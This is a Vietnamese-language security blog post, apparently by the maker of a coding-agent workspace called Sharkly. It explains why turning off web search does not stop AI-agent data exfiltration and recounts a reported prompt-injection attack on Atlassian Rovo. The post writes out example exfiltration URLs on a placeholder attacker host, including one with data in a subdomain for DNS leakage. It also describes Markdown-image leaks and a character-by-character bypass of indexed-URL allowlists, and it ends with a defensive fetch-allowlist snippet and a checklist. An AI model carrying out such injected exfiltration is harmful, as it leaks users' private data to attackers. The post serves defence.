Tóm tắt nhanh: Tắt tính năng tìm kiếm web không ngăn chặn được việc rò rỉ dữ liệu của AI agent, bởi vì nút gạt này chỉ ẩn đi một tính năng chứ không vô hiệu hóa công cụ bên dưới nó. Nếu agent vẫn có thể mở một URL, hiển thị hình ảnh hoặc gọi một connector, thì chỉ dẫn bị chèn mã độc (prompt injection) có thể đóng gói dữ liệu của bạn vào một yêu cầu gửi ra ngoài. Giải pháp xử lý mang tính tất định: agent chỉ được phép truy xuất (fetch) các URL do con người trực tiếp nhập vào hoặc do một công cụ đáng tin cậy trả về.
Hầu hết các nhóm đều xem nút gạt tìm kiếm web là công tắc tắt mọi rủi ro gửi dữ liệu ra ngoài (outbound risk). Nhưng thực tế không phải vậy. Vào tháng 8 năm 2026, PromptArmor đã chỉ ra một cuộc tấn công nhằm vào Atlassian Rovo vẫn hoạt động hiệu quả ngay cả khi tính năng tìm kiếm web đã bị vô hiệu hóa trên toàn tổ chức; và bản chất vấn đề này có thể xảy ra với bất kỳ agent nào bạn tự xây dựng hoặc mua ngoài.
Dưới đây là các kênh rò rỉ, lý do các bản vá phổ biến đều thất bại và quy tắc phòng vệ vững chắc. Chúng tôi phát triển Sharkly, một không gian làm việc nơi các coding agent nhận nhiệm vụ từ một bảng chung, vì vậy những vấn đề tương tự cũng áp dụng cho chúng tôi. Tấn công prompt injection hiện vẫn chưa có lời giải triệt để ở bất kỳ đâu, kể cả trong các coding agent mà Sharkly vận hành.
Nút gạt tìm kiếm web thực sự kiểm soát những gì, và không kiểm soát những gì
Nút bật/tắt tìm kiếm web kiểm soát việc agent có được phép gọi công cụ tìm kiếm hay không. Nó hoàn toàn không tác động đến công cụ riêng biệt dùng để mở URL và đọc nội dung phản hồi. Nếu công cụ fetch đó vẫn được bật, agent vẫn có thể gửi yêu cầu đến bất kỳ máy chủ nào trên Internet, và mỗi yêu cầu đều có thể mang theo dữ liệu ngay trong địa chỉ của nó.
Tìm kiếm trả về một danh sách liên kết. Fetch nhận một liên kết và thực hiện một HTTP request. Dữ liệu rời khỏi hệ thống (tenant) của bạn chính ở bước fetch này.
Lỗ hổng đó chính là toàn bộ phát hiện liên quan đến Rovo. Bài phân tích của PromptArmor nêu rõ rằng cài đặt tìm kiếm web "không loại bỏ được công cụ dùng để mở các kết quả tìm kiếm." Quản trị viên của tổ chức đã tắt tìm kiếm, nhưng công cụ fetch thì vẫn hoạt động bình thường.
Cách một agent tạo URL để tuồn dữ liệu ra ngoài
Indirect prompt injection (chèn prompt gián tiếp) có nghĩa là kẻ tấn công giấu các chỉ dẫn bên trong nội dung mà agent sẽ đọc sau đó: một tệp tin, một ticket, hay một trang web. Mô hình không thể phân biệt một cách đáng tin cậy giữa yêu cầu ban đầu của bạn với văn bản nó vô tình đọc được trong quá trình xử lý. Chuỗi tấn công trên Rovo, theo như PromptArmor mô tả, diễn ra qua năm bước:
- Nạn nhân tải lên một tệp tin, chẳng hạn như "Backlog Guide", có chứa chỉ dẫn độc hại được ẩn giấu.
- Sau đó, nạn nhân yêu cầu Rovo sắp xếp các Jira ticket của mình.
- Rovo tìm kiếm trên Jira và Confluence rồi đọc tệp tin đã bị đầu độc như một phần của công việc.
- Đoạn prompt injection chỉ dẫn Rovo nối nội dung từ ticket và Confluence vào URL của kẻ tấn công, rồi mở URL đó bằng công cụ truy xuất URL.
- Máy chủ của kẻ tấn công ghi lại log của yêu cầu, kèm theo toàn bộ dữ liệu bị lộ. Nạn nhân thì chỉ nhìn thấy những gợi ý sắp xếp ticket bình thường.
Không cần người dùng nhấp chuột, cũng không có bất kỳ thông báo phê duyệt nào. Các nguồn chèn mã độc khác mà PromptArmor liệt kê bao gồm: ticket hỗ trợ, kết quả web khi bật tìm kiếm, và các connector của bên thứ ba.
Chi tiết then chốt nằm ở bước 4. PromptArmor cho biết "không có biện pháp bảo vệ nào chống lại việc mở một URL được tạo động bởi chính agent." Agent tự sinh ra địa chỉ URL, do đó địa chỉ đó có thể chứa bất kỳ thông tin nào mà agent đã đọc được.
URL tuồn dữ liệu trông như thế nào?
Dưới đây là cấu trúc của URL đó, với tên miền ví dụ:
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
Kẻ tấn công sẽ đọc tham số d= trong access log của họ. Agent chỉ thực hiện một GET request duy nhất – vốn đúng là mục đích tồn tại của công cụ fetch.
Tại sao loại bỏ query string không có tác dụng: Rò rỉ qua subdomain và DNS
Lọc bỏ phần ? của URL là bản vá đầu tiên mà hầu hết mọi người nghĩ tới. Nhưng cách này vô tác dụng. Trên luồng thảo luận Hacker News (306 điểm, 138 bình luận), Simon Willison đã chỉ ra rằng với wildcard DNS, dữ liệu có thể nằm ngay trong hostname:
https://cHJvZCBkYiBjcmVkcw.attacker.example/
DNS server của kẻ tấn công sẽ phản hồi cho mọi subdomain và ghi log lại từng lượt tra cứu. Dữ liệu bị rò rỉ ngay trong quá trình phân giải tên miền (name resolution), trước khi bất kỳ HTTP request nào kịp hoàn tất. Một người bình luận khác cũng bổ sung rằng dữ liệu có thể ẩn nấp trong bất kỳ thành phần nào của URL, bao gồm cả trường thông tin xác thực (credentials).
Vì vậy, giải pháp không thể là "làm sạch URL". Quan điểm của Willison là: bản chất vấn đề nằm ở việc "phải ngăn chặn hoàn toàn khả năng tạo URL động".
Kênh rò rỉ qua hình ảnh Markdown
Một số agent thậm chí không cần công cụ fetch để làm lộ dữ liệu. Nếu giao diện trò chuyện cho phép hiển thị hình ảnh Markdown từ các tên miền bên ngoài, mô hình có thể chèn đoạn này vào câu trả lời của nó:

Trình duyệt của người dùng sẽ tự động tải hình ảnh và gửi request đi. Không ai cần phải nhấp vào bất cứ thứ gì. PromptArmor lưu ý rằng Rovo hiển thị hình ảnh Markdown trong kết quả đầu ra của AI và gọi đây là một vector trích xuất dữ liệu đã biết, dù bài phân tích của họ không đưa ra một chuỗi tấn công riêng biệt nào trên Rovo cho trường hợp này.
Kênh rò rỉ này tồn tại ở tầng hiển thị (rendering layer), do đó không có cài đặt công cụ nào của agent có thể can thiệp được.
Tại sao chính sách "chỉ cho phép URL đã được lập chỉ mục trước" vẫn bị rò rỉ từng ký tự một
Một biện pháp giảm thiểu là chỉ cho phép agent mở URL nếu URL đó đã được bọ tìm kiếm (search crawler) lập chỉ mục (index) từ trước. Kẻ tấn công không thể lập chỉ mục trước một URL có chứa thông tin bí mật của bạn, bởi vì bí mật đó chưa từng xuất hiện công khai trước đây.
Johann Rehberger (tài khoản wunderwuzzi23 trên Hacker News) đã giải thích cách vượt qua cơ chế này. Hãy hình dung kẻ tấn công xuất bản trước mỗi trang cho một ký tự, từ /a đến /z, và để chúng được lập chỉ mục. Đoạn injection sau đó sẽ ra lệnh cho agent truy cập lần lượt từng trang tương ứng với từng ký tự của chuỗi bí mật. Kẻ tấn công chỉ việc đọc chuỗi lượt truy cập (hit) được ghi lại trong log.
Cách này chậm và tạo ra nhiều dấu vết bất thường (noisy). Nhưng nó vẫn hiệu quả. Tóm lược của Rehberger là: mỗi biện pháp chỉ làm tăng chi phí tấn công chứ không thể ngăn chặn hoàn toàn. Dù vậy, ông nhận định danh sách tên miền cho phép (domain allowlist) rất hiệu quả đối với các agent phục vụ mục đích hẹp, vì chúng chặn đứng hoàn toàn các endpoint do kẻ tấn công kiểm soát.
Quy tắc tất định: Chỉ fetch các URL từ con người hoặc công cụ đáng tin cậy
Giải pháp hiệu quả lâu dài không yêu cầu mô hình phải cẩn thận hơn. Nó triệt tiêu hoàn toàn khả năng tự chọn đích đến của agent:
- Cho phép: URL do chính người dùng nhập vào cuộc trò chuyện.
- Cho phép: URL nguyên văn do một công cụ đáng tin cậy trả về, chẳng hạn như kết quả tìm kiếm.
- Chặn: Bất kỳ URL nào do mô hình tự ghép nối, chỉnh sửa hoặc mở rộng.
Bạn thực thi cơ chế này bằng mã nguồn bên ngoài mô hình. Hãy duy trì một tập hợp các URL được đưa vào cuộc trò chuyện từ các nguồn đáng tin cậy, và từ chối mọi yêu cầu fetch nếu chuỗi URL chính xác đó không nằm trong tập hợp:
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
Có hai hạn chế. Cơ chế kiểm tra này không bao quát được kênh rò rỉ qua hình ảnh, vì vậy bạn vẫn cần chặn các hình ảnh từ nguồn bên ngoài trong nội dung hiển thị. Ngoài ra, nó cũng không ngăn được thủ thuật dò từng ký tự nếu một công cụ đáng tin cậy có thể trả về danh sách do kẻ tấn công chủ đích sắp đặt – đó là lý do vì sao một domain allowlist bổ trợ bên trên là cần thiết đối với các agent phục vụ mục đích chuyên biệt.
Đây chính là trường hợp áp dụng khái niệm tam giác chết chóc (lethal trifecta) của Willison: dữ liệu riêng tư, nội dung không đáng tin cậy, và một kênh gửi dữ liệu ra ngoài. Bạn không thể loại bỏ hai yếu tố đầu tiên khỏi một agent hữu ích. Nhưng bạn có thể biến yếu tố thứ ba thành cơ chế tất định. OWASP xếp hạng prompt injection ở vị trí LLM01 cũng vì lý do tương tự: không có giải pháp nào từ phía mô hình là triệt để.
Danh sách kiểm tra cho bất kỳ ai đang xây dựng hoặc mua agent
Hãy đặt ra những câu hỏi này cho mọi agent có quyền truy cập vào dữ liệu riêng tư:
- Liệt kê mọi công cụ có thể tạo network request: fetch, trình duyệt, connectors, webhooks, email.
- Mỗi nút bật/tắt có thực sự loại bỏ công cụ đó, hay chỉ đơn thuần ẩn đi tính năng sử dụng nó?
- Agent có thể mở một URL do chính nó tự tạo ra hay không?
- Hình ảnh Markdown từ bên ngoài có được hiển thị trong kết quả đầu ra không?
- Có danh sách tên miền cho phép (domain allowlist) không, và ai kiểm soát danh sách đó?
- Những nguồn nào có thể chèn mã độc (inject): tệp tải lên, ticket, kết quả web, connectors?
- Nhà cung cấp đã xử lý báo cáo bảo mật bên ngoài gần nhất như thế nào và tốc độ xử lý ra sao?
Đối với Rovo, dòng thời gian công khai đã trả lời cho câu hỏi số 7: PromptArmor đã công bố lỗ hổng vào ngày 23 tháng 5 năm 2026, Atlassian xác nhận vào ngày 25 tháng 5, các liên hệ tiếp theo vào ngày 4 tháng 6 và ngày 29 tháng 7 đều không được phản hồi, và bài viết được đăng tải vào ngày 5 tháng 8 khi Rovo vẫn còn tồn tại lỗ hổng này. [XÁC MINH 2026-10-27: chưa tìm thấy bản vá hoặc tuyên bố nào của Atlassian cho hướng tấn công này; cần kiểm tra lại trước khi xuất bản.]
Lưu ý rằng Rovo Dev, coding agent của Atlassian, là một sản phẩm tách biệt với trợ lý ảo Rovo trong phát hiện này; bài viết về gói miễn phí của Rovo Dev của chúng tôi có đề cập chi tiết hơn.
Điều này áp dụng như thế nào đối với các coding agent trong Sharkly
Các coding agent đọc văn bản không đáng tin cậy suốt cả ngày: nội dung issue, tệp README, các trang web được tải về. Sharkly không giúp Claude Code hay Codex miễn nhiễm với điều đó.
Điều mà Sharkly thay đổi chính là quyền kiểm soát ranh giới gửi dữ liệu ra ngoài (outbound boundary). Các agent chạy trên chính Computers của bạn thông qua một dịch vụ cục bộ. Tài liệu về Computers nêu rõ rằng Computer "cung cấp hệ điều hành, tệp tin, thông tin xác thực, quyền truy cập mạng và các công cụ mà Agent yêu cầu." Khi đặt một Computer phía sau một egress allowlist (danh sách cho phép gửi dữ liệu ra ngoài), mọi phiên chạy trên đó đều thừa hưởng giới hạn này, bất kể agent nào đang thực thi.
Một vài ranh giới bảo vệ khác theo tài liệu hướng dẫn:
- Khách (Guest) chỉ xem được các Space mà họ được thêm vào.
- Các hành động trên ứng dụng bên thứ ba đều yêu cầu một connector đã được ủy quyền.
- Tài liệu về Skills khuyến nghị không bao giờ lưu trữ mật khẩu, token hoặc khóa truy cập trong chỉ dẫn hoặc tệp của Skill, nhờ đó một agent bị chiếm quyền điều khiển cũng không thể đọc được chúng từ đó.
Không điều nào trong số này có thể ngăn một agent lạm dụng các quyền truy cập mà nó vốn đã có sẵn. Các bài viết của chúng tôi về phân quyền cho coding agent, các cổng phê duyệt (approval gates) và hàng rào bảo vệ chống prompt injection sẽ hướng dẫn chi tiết nơi cần thiết lập những ranh giới đó.
Kết luận
Nút bật/tắt tìm kiếm web chỉ là một tùy chọn cài đặt sản phẩm, không phải là một cơ chế kiểm soát bảo mật. Dữ liệu có thể bị rò rỉ qua bất kỳ thứ gì có khả năng tạo ra request: công cụ fetch, tra cứu hostname, hay thẻ hình ảnh. Hãy triệt tiêu những con đường đó ngay trong mã nguồn, hoàn toàn bên ngoài mô hình.
Bước tiếp theo của bạn: hãy áp dụng danh sách kiểm tra gồm 7 câu hỏi trên cho một agent mà nhóm của bạn đang sử dụng ngay trong tuần này, bắt đầu từ câu hỏi số 3. Nếu bạn chạy các coding agent trên nhiều Computer khác nhau, hãy thiết lập Sharkly và đặt từng máy sau các quy tắc egress mà bạn tin tưởng.
Câu hỏi thường gặp (FAQ)
Tắt tìm kiếm web có ngăn chặn được prompt injection không?
Không. Prompt injection có thể đến từ bất kỳ nội dung nào mà agent đọc, bao gồm tệp tải lên, ticket và dữ liệu từ connector. Việc tắt tìm kiếm chỉ loại bỏ một nguồn nội dung không đáng tin cậy, nhưng mã độc injection vẫn có thể xâm nhập qua các nguồn khác và vẫn có thể tuồn dữ liệu ra ngoài thông qua công cụ fetch.
Trích xuất dữ liệu qua URL (URL-based data exfiltration) là gì?
Đó là khi một agent gắn dữ liệu riêng tư vào bên trong một URL rồi gửi request đến URL đó. Máy chủ của kẻ tấn công sẽ ghi lại log của request và trích xuất dữ liệu. Thủ thuật này không cần bất kỳ phần mềm độc hại nào, mà chỉ cần một agent có khả năng tự tạo và mở các URL tùy ý.
Hình ảnh Markdown có phải là rủi ro bảo mật trong AI chat không?
Có, trong trường hợp giao diện hiển thị hình ảnh từ các tên miền bên ngoài. Trình duyệt sẽ tự động tải URL hình ảnh, do đó bất kỳ dữ liệu nào mô hình chèn vào URL đó đều sẽ được gửi đến kẻ tấn công mà không cần người dùng nhấp chuột.
Danh sách tên miền cho phép (domain allowlist) đã đủ chưa?
Đối với một agent chuyên biệt chỉ cần truy cập vào một vài tên miền nhất định, danh sách cho phép là biện pháp kiểm soát mạnh mẽ nhất hiện có. Đối với một trợ lý đa năng, việc duy trì một danh sách chặt chẽ là rất khó khăn, vì vậy hãy kết hợp nó với quy tắc: agent không bao giờ được phép fetch một URL do chính nó tự tạo ra.
Atlassian đã vá lỗi trích xuất dữ liệu trên Rovo chưa?
Tính đến ngày 27 tháng 10 năm 2026, chúng tôi chưa tìm thấy bất kỳ tuyên bố hoặc bản vá được xác nhận nào từ Atlassian cho hướng tấn công mà PromptArmor đã công bố. Hãy theo dõi trang của PromptArmor và các bản tin bảo mật của Atlassian để cập nhật thông tin mới nhất.



